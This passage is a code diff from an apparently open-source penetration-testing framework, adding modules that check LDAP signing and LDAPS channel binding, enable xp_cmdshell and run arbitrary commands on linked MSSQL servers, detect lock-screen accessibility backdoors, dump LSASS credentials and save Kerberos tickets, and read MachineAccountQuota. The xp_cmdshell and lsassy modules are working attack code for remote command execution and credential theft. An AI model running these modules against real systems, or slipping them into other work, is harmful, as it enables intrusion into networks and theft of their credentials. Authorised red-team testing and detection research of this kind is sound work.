-            ldapsChannelBindingWhenSupportedCheck = asyncio.run(run_ldaps_withEPA(target, credential))
-            if ldapsChannelBindingAlwaysCheck is False and ldapsChannelBindingWhenSupportedCheck is True:
-                context.log.highlight('LDAPS Channel Binding is set to "When Supported"')
-            elif ldapsChannelBindingAlwaysCheck is False and ldapsChannelBindingWhenSupportedCheck is False:
-                context.log.highlight('LDAPS Channel Binding is set to "NEVER"')
-            elif ldapsChannelBindingAlwaysCheck is True:
-                context.log.fail('LDAPS Channel Binding is set to "Required"')
+    # Domain Controllers do not have a certificate setup for
+    # LDAPS on port 636 by default. If this has not been setup,
+    # the TLS handshake will hang and you will not be able to
+    # interact with LDAPS. The condition for the certificate
+    # existing as it should is either an error regarding
+    # the fact that the certificate is self-signed, or
+    # no error at all. Any other "successful" edge cases
+    # not yet accounted for.
+    def does_ldaps_complete_handshake(self, context, dc_ip):
+        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+        s.settimeout(5)
+        ssl_context = ssl.create_default_context()
+        ssl_context.check_hostname = False
+        ssl_sock = ssl_context.wrap_socket(s, do_handshake_on_connect=False, suppress_ragged_eofs=False)
+        try:
+            ssl_sock.connect((dc_ip, 636))
+            ssl_sock.do_handshake()
+            return True
+        except Exception as e:
+            if "CERTIFICATE_VERIFY_FAILED" in str(e):
+                return True
+            elif "handshake operation timed out" in str(e):
+                return False
             else:
-                context.log.fail("\nSomething went wrong...")
-                sys.exit()
+                context.log.fail(f"Unexpected error during LDAPS handshake: {e}")
+                return False
+        finally:
+            ssl_sock.close()
+
+    # Conduct an LDAP bind and determine if server signing
+    # requirements are enforced based on potential errors
+    # during the bind attempt.
+    async def run_ldap(self, context, target, credential):
+        try:
+            client = MSLDAPClientConnection(target, credential)
+            client._disable_signing = True  # deliberately disable LDAP signing on client connection
+            _, err = await client.connect()
+            if err:
+                context.log.fail(f"Error connecting for LDAP bind: {err}")
+                return None
+
+            _, err = await client.bind()
+            if err:
+                errstr = str(err).lower()
+                if "stronger" in errstr:
+                    return True
+                    # because LDAP server signing requirements ARE enforced
+                else:
+                    context.log.fail(f"LDAP bind error: {err}")
+                    return None
+            else:
+                # LDAPS bind successful
+                return False
+                # because LDAP server signing requirements are not enforced
+        except Exception as e:
+            context.log.debug(f"Exception during LDAP bind: {e}")
+            return None
+
+    # Determine authentication context and proceed to
+    # enumerate LDAP signing and channel binding settings
+    def on_login(self, context, connection):
+        context.log.fail("[REMOVED] Now natively supported in the host banner")
+        return
+        stype = asyauthSecret.PASS
+        secret = connection.password
+        if connection.nthash:
+            stype = asyauthSecret.NT
+            secret = connection.nthash
+        if connection.aesKey:
+            stype = asyauthSecret.AES
+            secret = connection.aesKey
+
+        anon_credential = NTLMCredential(
+            secret="",
+            username="",
+            domain=connection.domain,
+            stype=asyauthSecret.PASS
+        )
+
+        if not connection.username and not secret:
+            context.log.highlight("No credentials provided, skipping LDAP signing check")
+            credential = anon_credential
         else:
-            context.log.fail(connection.domain + " - cannot complete TLS handshake, cert likely not configured")
+            if not connection.kerberos:
+                credential = NTLMCredential(
+                    secret=secret,
+                    username=connection.username,
+                    domain=connection.domain,
+                    stype=stype
+                )
+            else:
+                kerberos_target = UniTarget(
+                    connection.host,
+                    88,
+                    UniProto.CLIENT_TCP,
+                    hostname=connection.remoteName,
+                    dc_ip=connection.kdcHost,
+                    domain=connection.domain,
+                    proxies=None,
+                    dns=None,
+                )
+                credential = KerberosCredential(
+                    target=kerberos_target,
+                    secret=secret,
+                    username=connection.username,
+                    domain=connection.domain,
+                    stype=stype,
+                )
+
+        ldap_signing_status = None
+        if connection.username or secret:
+            target = MSLDAPTarget(
+                connection.host, 389,
+                hostname=connection.remoteName,
+                domain=connection.domain,
+                dc_ip=connection.kdcHost,
+            )
+            ldap_signing_status = asyncio.run(self.run_ldap(context, target, credential))
+            if ldap_signing_status is True:
+                context.log.highlight("LDAP signing IS enforced")
+            elif ldap_signing_status is False:
+                context.log.highlight("LDAP signing NOT enforced")
+            else:
+                context.log.fail("Could not determine LDAP signing requirement.")
+
+        if self.does_ldaps_complete_handshake(context, connection.host):
+            target = MSLDAPTarget(
+                connection.host, 636,
+                UniProto.CLIENT_SSL_TCP,
+                hostname=connection.remoteName,
+                domain=connection.domain,
+                dc_ip=connection.kdcHost,
+            )
+            ldaps_noEPA = asyncio.run(self.run_ldaps_noEPA(context, connection, target, anon_credential))
+            ldaps_withEPA = asyncio.run(self.run_ldaps_withEPA(context, connection, target, anon_credential))
+
+            if ldaps_noEPA is False and ldaps_withEPA is True:
+                context.log.highlight("LDAPS channel binding is set to: When Supported")
+            elif ldaps_noEPA is False and ldaps_withEPA is False:
+                context.log.highlight("LDAPS channel binding is set to: Never")
+            elif ldaps_noEPA is True:
+                context.log.highlight("LDAPS channel binding is set to: Required")
+            else:
+                context.log.fail("Could not determine LDAPS channel binding settings")
+        else:
+            context.log.fail(f"{connection.domain} - TLS handshake failed; certificate likely not configured")

nxc/modules/link_enable_cmdshell.py

@@ -0,0 +1,103 @@
+from nxc.helpers.misc import CATEGORY
+
+
+class NXCModule:
+    """
+    Enable or disable xp_cmdshell on a linked MSSQL server
+    Module by deathflamingo
+    """
+
+    name = "link_enable_cmdshell"
+    description = "Enable or disable xp_cmdshell on a linked MSSQL server"
+    supported_protocols = ["mssql"]
+    category = CATEGORY.PRIVILEGE_ESCALATION
+
+    def __init__(self):
+        self.action = None
+        self.linked_server = None
+
+    def options(self, context, module_options):
+        """
+        Defines the options for enabling or disabling xp_cmdshell on the linked server.
+        ACTION           Specifies whether to enable or disable:
+                          - enable (default)
+                          - disable
+        LINKED_SERVER    The name of the linked SQL server to target.
+        """
+        self.action = module_options.get("ACTION", "enable")
+        self.linked_server = module_options.get("LINKED_SERVER")
+
+    def on_login(self, context, connection):
+        self.context = context
+        self.mssql_conn = connection.conn
+
+        # Store the original state of options that have to be enabled/disabled in order to restore them later
+        self.backuped_options = {}
+
+        if not self.linked_server:
+            self.context.log.fail("Please provide a linked server name using the LINKED_SERVER option.")
+            return
+
+        # Enable or disable xp_cmdshell based on action
+        if self.action == "enable":
+            self.enable_xp_cmdshell()
+        elif self.action == "disable":
+            self.disable_xp_cmdshell()
+        else:
+            self.context.log.fail(f"Unknown action: {self.action}")
+
+    def enable_xp_cmdshell(self):
+        """Enable xp_cmdshell on the linked server."""
+        self.backup_and_enable("advanced options")
+
+        current_value = self.is_option_enabled("xp_cmdshell")
+        self.context.log.display(f"Enabling xp_cmdshell on {self.linked_server}. Current value: {current_value}")
+        self.mssql_conn.sql_query(f"EXEC ('sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [{self.linked_server}]")
+        self.context.log.success(f"xp_cmdshell enabled on {self.linked_server}")
+
+        self.restore("advanced options")
+
+    def disable_xp_cmdshell(self):
+        """Disable xp_cmdshell on the linked server."""
+        self.backup_and_enable("advanced options")
+
+        current_value = self.is_option_enabled("xp_cmdshell")
+        self.context.log.display(f"Disabling xp_cmdshell on {self.linked_server}. Current value: {current_value}")
+        self.mssql_conn.sql_query(f"EXEC ('sp_configure xp_cmdshell, 0; RECONFIGURE;') AT [{self.linked_server}]")
+        self.context.log.success(f"xp_cmdshell disabled on {self.linked_server}")
+
+        self.restore("advanced options")
+
+    # Adapting methods from MSSQLEXEC for backup and restore functionality
+    def restore(self, option):
+        try:
+            if not self.backuped_options[option]:
+                self.context.log.debug(f"Option '{option}' was not enabled on {self.linked_server} originally, attempting to disable it.")
+                query = f"EXEC ('EXEC master.dbo.sp_configure \"{option}\", 0;RECONFIGURE;') AT [{self.linked_server}]"
+                self.context.log.debug(f"Executing query: {query}")
+                self.mssql_conn.sql_query(query)
+            else:
+                self.context.log.debug(f"Option '{option}' was originally enabled on {self.linked_server}, leaving it enabled.")
+        except Exception as e:
+            self.context.log.error(f"[OPSEC] Error when attempting to restore option '{option}' on {self.linked_server}: {e}")
+
+    def backup_and_enable(self, option):
+        try:
+            self.backuped_options[option] = self.is_option_enabled(option)
+            if not self.backuped_options[option]:
+                self.context.log.debug(f"Option '{option}' is disabled on {self.linked_server}, attempting to enable it.")
+                query = f"EXEC ('EXEC master.dbo.sp_configure \"{option}\", 1;RECONFIGURE;') AT [{self.linked_server}]"
+                self.context.log.debug(f"Executing query: {query}")
+                self.mssql_conn.sql_query(query)
+            else:
+                self.context.log.debug(f"Option '{option}' is already enabled on {self.linked_server}.")
+        except Exception as e:
+            self.context.log.error(f"Error when checking/enabling option '{option}' on {self.linked_server}: {e}")
+
+    def is_option_enabled(self, option):
+        query = f"EXEC ('EXEC master.dbo.sp_configure \"{option}\";') AT [{self.linked_server}]"
+        self.context.log.debug(f"Checking if {option} is enabled on {self.linked_server}: {query}")
+        result = self.mssql_conn.sql_query(query)
+        # Assuming the query returns a list of dictionaries with 'config_value' as the key
+        self.context.log.debug(f"{option} check result: {result}")
+        return bool(result and result[0]["config_value"] == 1)

nxc/modules/link_xpcmd.py

@@ -0,0 +1,53 @@
+from nxc.helpers.misc import CATEGORY
+
+
+class NXCModule:
+    """
+    Run xp_cmdshell commands on a linked SQL server
+    Module by deathflamingo
+    """
+
+    name = "link_xpcmd"
+    description = "Run xp_cmdshell commands on a linked SQL server"
+    supported_protocols = ["mssql"]
+    category = CATEGORY.PRIVILEGE_ESCALATION
+
+    def __init__(self):
+        self.linked_server = None
+        self.command = None
+
+    def options(self, context, module_options):
+        """
+        Defines the options for running xp_cmdshell commands on a linked server.
+        LINKED_SERVER    The name of the linked SQL server to target.
+        CMD              The command to run via xp_cmdshell.
+        """
+        self.linked_server = module_options.get("LINKED_SERVER")
+        self.command = module_options.get("CMD")
+
+    def on_login(self, context, connection):
+        self.context = context
+        self.mssql_conn = connection.conn
+        if not self.linked_server or not self.command:
+            self.context.log.fail("Please provide both LINKED_SERVER and CMD options.")
+            return
+
+        self.context.log.display(f"Running command on {self.linked_server}: {self.command}")
+        query = f"EXEC ('xp_cmdshell ''{self.command}''') AT [{self.linked_server}]"
+        result = self.mssql_conn.sql_query(query)
+
+        if result:
+            output_lines = []
+            for row in result:
+                output_value = row.get("output")
+                if output_value and output_value != "NULL":
+                    output_lines.append(str(output_value))
+
+            if output_lines:
+                self.context.log.success("Executed command via linked server")
+                for line in output_lines:
+                    self.context.log.highlight(line.strip())
+            else:
+                self.context.log.display("Command executed but returned no output")
+        else:
+            self.context.log.fail("No result returned from query")

nxc/modules/lockscreendoors.py

@@ -0,0 +1,89 @@
+from io import BytesIO
+import pefile
+from nxc.helpers.misc import CATEGORY
+
+
+class NXCModule:
+    """
+    Module for detecting Windows lock screen backdoors
+    Module by @E1A
+    """
+
+    name = "lockscreendoors"
+    description = "Detect Windows lock screen backdoors by checking FileDescriptions of accessibility binaries."
+    supported_protocols = ["smb"]
+    category = CATEGORY.ENUMERATION
+
+    def __init__(self):
+        # List of exe names with expected descriptions
+        self.expected_descriptions = {
+            "utilman.exe": ["Utility Manager"],
+            "narrator.exe": ["Screen Reader", "Narrator"],
+            "sethc.exe": ["Accessibility shortcut keys"],
+            "osk.exe": ["Accessibility On-Screen Keyboard"],
+            "magnify.exe": ["Microsoft Screen Magnifier"],
+            "EaseOfAccessDialog.exe": ["Ease of Access Dialog Host"],
+            "voiceaccess.exe": ["Voice access"],  # Only on Windows 11 / Server 2025+
+            "displayswitch.exe": ["Display Switch"],
+            "atbroker.exe": ["Windows Assistive Technology Manager", "Transitions Accessible technologies between desktops"],
+        }
+
+        # If description matches one of these it's almost certainly backdoored
+        self.backdoor_descriptions = [
+            "Windows Command Processor",
+            "Windows PowerShell"
+        ]
+
+    def options(self, context, module_options):
+        """No options available"""
+
+    def get_description(self, binary_data):
+        # Extract the file description from version info
+        try:
+            pe = pefile.PE(data=binary_data, fast_load=True)
+            pe.parse_data_directories(directories=[pefile.DIRECTORY_ENTRY["IMAGE_DIRECTORY_ENTRY_RESOURCE"]])
+            for fileinfo in pe.FileInfo:
+                for entry in fileinfo:
+                    if entry.Key.decode() == "StringFileInfo":
+                        for st in entry.StringTable:
+                            desc = st.entries.get(b"FileDescription")
+                            if desc:
+                                return desc.decode().strip()
+        except Exception as e:
+            self.context.log.debug(f"Failed to extract PE info: {e}")
+        return None
+
+    def on_admin_login(self, context, connection):
+        target_path = "\\Windows\\System32"
+        tampered = False
+
+        for exe, expected_descs in self.expected_descriptions.items():
+            try:
+                # Grab the binary from the share
+                buf = BytesIO()
+                connection.conn.getFile("C$", f"{target_path}\\{exe}", buf.write)
+                binary = buf.getvalue()
+
+                # Extract and normalize the file description
+                file_desc = self.get_description(binary)
+                if not file_desc:
+                    context.log.fail(f"{exe}: could not extract FileDescription")
+                    continue
+
+                # Check if the description is as expected
+                if file_desc not in expected_descs:
+                    tampered = True
+                    if file_desc in self.backdoor_descriptions:
+                        context.log.highlight(f"BACKDOOR DETECTED: {exe} has FileDescription '{file_desc}'")
+                    else:
+                        if len(expected_descs) == 1:
+                            expected_str = f"'{expected_descs[0]}'"
+                        else:
+                            expected_str = ", ".join(f"'{d}'" for d in expected_descs)
+                            expected_str = f"one of: {expected_str}"
+                        context.log.highlight(f"SUSPICIOUS: {exe} has unexpected FileDescription '{file_desc}' (expected {expected_str})")
+            except Exception as e:
+                context.log.debug(f"Failed to process {exe}: {e}")
+
+        if not tampered:
+            context.log.display("All lock screen executable descriptions are consistent with the expected values")

nxc/modules/lsassy.py

@@ -4,32 +4,57 @@
 #  https://beta.hackndo.com [FR]
 #  https://en.hackndo.com [EN]
 
+import os
+import sys
 from lsassy.dumper import Dumper
 from lsassy.impacketfile import ImpacketFile
 from lsassy.parser import Parser
 from lsassy.session import Session
 
+from impacket.krb5.ccache import CCache
+
 from nxc.helpers.bloodhound import add_user_bh
+from nxc.helpers.misc import CATEGORY
+from nxc.paths import NXC_PATH
 
 
 class NXCModule:
     name = "lsassy"
     description = "Dump lsass and parse the result remotely with lsassy"
     supported_protocols = ["smb"]
-    opsec_safe = True  # writes temporary files, and it's possible for them to not be deleted
-    multiple_hosts = True
+    category = CATEGORY.CREDENTIAL_DUMPING
 
     def __init__(self, context=None, module_options=None):
         self.context = context
         self.module_options = module_options
         self.method = None
+        self.dump_tickets = True
+        self.save_dir = os.path.join(NXC_PATH, "modules", "lsassy")
+        self.ticket_type = "ccache"
 
     def options(self, context, module_options):
-        """METHOD              Method to use to dump lsass.exe with lsassy"""
+        """
+        METHOD              Method to use to dump lsass.exe with lsassy
+        DUMP_TICKETS        If set, will dump Kerberos tickets (Default: True)
+        SAVE_DIR            Directory to save dumped tickets
+        SAVE_TYPE           Type of ticket to save, either 'kirbi' or 'ccache' (Default: 'ccache')
+        """
         self.method = "comsvcs"
         if "METHOD" in module_options:
             self.method = module_options["METHOD"]
 
+        if "DUMP_TICKETS" in module_options:
+            self.dump_tickets = module_options["DUMP_TICKETS"].lower() in ["true"]
+
+        if "SAVE_DIR" in module_options:
+            self.save_dir = module_options["SAVE_DIR"]
+
+        if "SAVE_TYPE" in module_options:
+            self.ticket_type = module_options["SAVE_TYPE"]
+            if self.ticket_type not in ["kirbi", "ccache"]:
+                context.log.error(f"Invalid SAVE_TYPE '{self.ticket_type}'. Supported types are 'kirbi' and 'ccache'.")
+                sys.exit(1)
+
     def on_admin_login(self, context, connection):
         host = connection.host
         domain_name = connection.domain
@@ -64,12 +89,11 @@ class NXCModule:
             context.log.fail("Unable to dump lsass")
             return False
 
-        parsed = Parser(file).parse()
+        parsed = Parser(host, file).parse()
         if parsed is None:
             context.log.fail("Unable to parse lsass dump")
             return False
         credentials, tickets, masterkeys = parsed
-
         file.close()
         context.log.debug("Closed dumper file")
         file_path = file.get_file_path()
@@ -86,6 +110,9 @@ class NXCModule:
         if credentials is None:
             credentials = []
 
+        if self.dump_tickets and tickets:
+            self.write_tickets(context, tickets, host)
+
         for cred in credentials:
             c = cred.get_object()
             context.log.debug(f"Cred: {c}")
@@ -118,6 +145,52 @@ class NXCModule:
         context.log.debug("Calling process_credentials")
         self.process_credentials(context, connection, credentials_output)
 
+    def write_tickets(self, context, tickets, host):
+        if not tickets:
+            context.log.display("No Kerberos tickets found")
+            return
+
+        if not os.path.exists(self.save_dir):
+            try:
+                os.makedirs(self.save_dir)
+                context.log.debug(f"Created directory: {self.save_dir} for saving tickets")
+            except Exception as e:
+                context.log.fail(f"Error creating directory {self.save_dir}: {e}")
+                return
+
+        ticket_count = 0
+        for ticket in tickets:
+            for filename in ticket.kirbi_data:
+                try:
+                    base_filename = filename.split(".kirbi")[0]
+                    timestamp = ticket.EndTime.strftime("%Y%m%d%H%M%S")
+                    kirbi_data = ticket.kirbi_data[filename]
+
+                    if self.ticket_type == "ccache":
+                        ccache = CCache()
+                        ccache.fromKRBCRED(kirbi_data.dump())
+                        ticket_filename = f"{base_filename}_{host}_{timestamp}.ccache"
+                        ticket_content = ccache.getData()
+                    else:
+                        ticket_filename = f"{base_filename}_{host}_{timestamp}.kirbi"
+                        ticket_content = kirbi_data.dump()
+
+                    ticket_path = os.path.join(self.save_dir, ticket_filename)
+
+                    with open(ticket_path, "wb") as f:
+                        f.write(ticket_content)
+
+                    ticket_count += 1
+                    context.log.debug(f"Saved ticket: {ticket_filename}")
+
+                except Exception as e:
+                    context.log.fail(f"Error writing ticket {filename}: {e}")
+
+        if ticket_count > 0:
+            context.log.highlight(f"Saved {ticket_count} Kerberos ticket(s) to {self.save_dir}")
+        else:
+            context.log.display("No tickets were saved")
+
     def process_credentials(self, context, connection, credentials):
         if len(credentials) == 0:
             context.log.display("No credentials found")

nxc/modules/maq.py

@@ -0,0 +1,36 @@
+from nxc.helpers.misc import CATEGORY
+from nxc.parsers.ldap_results import parse_result_attributes
+
+
+class NXCModule:
+    """
+    Module by Shutdown and Podalirius
+    Modified by @azoxlpf to handle null session errors and avoid IndexError when no LDAP results are returned.
+
+    Initial module:
+      https://github.com/ShutdownRepo/CrackMapExec-MachineAccountQuota
+
+    Authors:
+      Shutdown: @_nwodtuhs
+      Podalirius: @podalirius_
+    """
+
+    def options(self, context, module_options):
+        """No options available"""
+
+    name = "maq"
+    description = "Retrieves the MachineAccountQuota domain-level attribute"
+    supported_protocols = ["ldap"]
+    category = CATEGORY.ENUMERATION
+
+    def on_login(self, context, connection):
+        context.log.display("Getting the MachineAccountQuota")
+
+        ldap_response = connection.search("(ms-DS-MachineAccountQuota=*)", ["ms-DS-MachineAccountQuota"])
+        entries = parse_result_attributes(ldap_response)
+
+        if not entries:
+            context.log.fail("No LDAP entries returned.")
+            return
+
+        context.log.highlight(f"MachineAccountQuota: {entries[0]['ms-DS-MachineAccountQuota']}")